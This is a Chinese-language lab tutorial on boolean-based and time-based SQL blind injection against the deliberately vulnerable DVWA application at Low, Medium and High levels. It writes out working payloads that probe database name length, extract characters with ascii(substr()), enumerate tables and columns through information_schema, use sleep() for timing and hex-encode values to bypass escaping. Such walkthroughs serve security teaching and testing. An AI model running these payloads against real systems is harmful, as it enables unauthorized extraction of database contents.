sql盲注:顾名思义,就是盲人注入,没有页面报错信息可以分析了,那么该怎么呢?盲注又有哪些测试的方法呢?
盲注的测试类型:
- boolean注入
- 时间注入
我们接下来就来介绍如何去测试sql注入盲注,我们还是用dvwa来举例子
Low级别
我们看到low级别同样是输入框,我们输入了正常的1,返回结果为:数据库中存在用户ID。
我们输入恶意字符,同样也返回结果为:数据库中缺少用户ID。
我们输入1'#返回正常
我们可以构造如下语句来判断注入的类型
1' and 1=1 #
返回结果存在
1' and 1=2#
返回结果不存在
由此我们可以判断出该输入框存在盲注,且注入类型为字符型注入
那么接下来我们可以构造sql语句来猜解数据库等
我们首先判断数据库长度,可以构造如下poc,使用length函数来判断字符串长度
1' and length(database())>5 #
返回结果
1' and length(database())>3#
由此我们可以看出当前链接数据库名的长度大于3小于5,长度为4
那么我们继续判断数据库名称的字符组成元素,此时利用substr()函数从给定的字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCII码,与对应的ASCII码值比较大小,找到比值相同时的字符,然后各个击破。
mysql数据库中的字符串函数 substr()函数和hibernate的substr()参数都一样,但含义有所不同。
用法:
substr(string string,num start,num length);
string为字符串;
start为起始位置;
length为长度。
区别:
mysql中的start是从1开始的,而hibernate中的start是从0开始的。
在构造语句比较之前,先查询以下字符的ASCII码的十进制数值作为参考:
字符 | ASCII码-10进制 | 字符 | ASCII码-10进制 | |
---|---|---|---|---|
a | 97 | ==> | z | 122 |
A | 65 | ==> | Z | 90 |
0 | 48 | ==> | 9 | 57 |
_ | 95 | @ | 64 |
以上常规可能用到的字符的ASCII码取值范围:[48,122]
当然也可以扩大范围,在ASCII码所有字符的取值范围中筛选:[0,127]
1' and ascii(substr(database(),1,1))>88 # | exists |
猜解表的个数
1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 #
猜解第一个表的表名长度
1' and length( substr( (select count(table_name) from information_schema.tables where table_schema=database())1))>10#
猜解第一个表的表名的第一个字符
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #
我们可以依此类推,将剩下的字符一一爆破
Medium级别
判断是否存在注入,注入的类型
虽然前端界面上只能通过下拉列表选择数字,提交后查询显示的都是"exists",但是抓包工具修改数据重放之后是可以在工具中观察到响应数据有"MISSING"和"exists"两种返回结果的,如下:
由此我们可以判断出该级别存在注入,且注入类型为数字型注入,接下来我们猜解当前连接数据库长度,我们会用到sleep()这个函数以及if判断
对于 if(判断条件,sleep(n),1) 函数而言,若判断条件为真,则执行sleep(n)函数,达到在正常响应时间的基础上再延迟响应时间n秒的效果;若判断条件为假,则返回设置的1(真),此时不会执行sleep(n)函数
我们构造如下语句:
输入 | 输出(Response Time) |
---|---|
1 and if(length(database())=4,sleep(2),1) # | 2031 ms |
1 and if(length(database())=5,sleep(2),1) # | 26 ms |
1 and if(length(database())>10,sleep(2),1) # | 30 ms |
以上根据响应时间的差异,可知当前连接数据库名称的字符长度=4,此时确实执行了sleep(2)函数,使得响应时间比正常响应延迟2s(2000ms)
输入 | 输出 |
---|---|
1 and if(ascii(substr(database(),1,1))>88,sleep(2),1) # | 2049 ms |
1 and if(ascii(substr(database(),1,1))>105,sleep(2),1) # | 19 ms |
可以看到,当前连接数据库名称的第一个字符的ascii码为100,对应字母为d
后续过程与low级别类似,不过遇到了对特殊字符进行转义处理的时候,我们可以转换程16进制的形式绕过限制,从而提交到数据库进行查询.
如:猜解表中的字段名时,猜解字段名的长度(对字段值users
进行16进制转换为0x7573657273
)
Low级别 | Medium级别 |
---|---|
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # | 1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8 # --------------------------------------------------------- 1 and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8,sleep(2),1) # |
High级别
high级别通过代码分析,我们发现并没有做任何过滤,只是将查询输入页面和结果显示页面分开了,照样可以抓包绕过,并且代码只做了限制显示的结果数,没有做过滤。绕过和暴力破解的方式和low级别类似,对于LIMIT 1的限制输出记录数目,可以利用#
注释其限制;服务端可能会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s,这样会对正常的基于时间延迟的盲注测试造成干扰。因此可以考虑用基于布尔的盲注进行测试:
借鉴的优秀文章
DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析